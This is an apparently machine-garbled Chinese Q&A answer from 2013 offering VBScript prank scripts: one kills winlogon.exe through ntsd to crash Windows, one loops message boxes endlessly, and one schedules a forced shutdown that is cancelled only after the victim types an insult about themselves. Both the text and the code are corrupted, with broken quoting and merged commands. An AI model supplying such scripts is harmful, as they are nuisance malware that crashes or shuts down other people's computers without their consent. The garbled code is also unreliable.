满意的回答
xcccnu
2013.05.26
通过率： 45%等级： 12
帮助： 8861人
蓝屏： msgbox '我想要蓝屏，哈哈.'
setws=createobject (wscript.shell ) )。
wscript.sleep 1200
ws.run ' cmd/cstart/min ntsd-CQ-pn winlogon.exe1nul2nul '，vbhide
setob=wscript.createobject (wscript.shell ) )无限循环： domsgbox''loop强制关闭： on error resume next
dim WSHshellA
setwshella=wscript.createobject (wscript.shell ) )。
whsh ella.run ' cmd.exe/cshutdown-r-t60-c ' '说我是猪，不说我是猪就一分钟关闭你的机器。 真不敢相信，试试看0，true
dim a
owhile(a )我是猪) )。
答a=inputbox ('我说是猪，不关机，快撒，''我是猪''，'不说'，8000，7000 ) )
MsgBoxchr(13 ) chr (13 ) chr (13 ) a，0，' msgbox '
loop
msgboxchr(13 ) chr (13 ) chr (13 ) )“快点说不就好了吗”
dim WSHshell
setw shell=wscript.createobject (wscript.shell ) )。
wshshell.run ' cmd.exe/cshutdown-a '，0，true
msgboxchr(13 ) chr (13 ) chr (13 ) )“哈哈，我中毒了”
共享211通报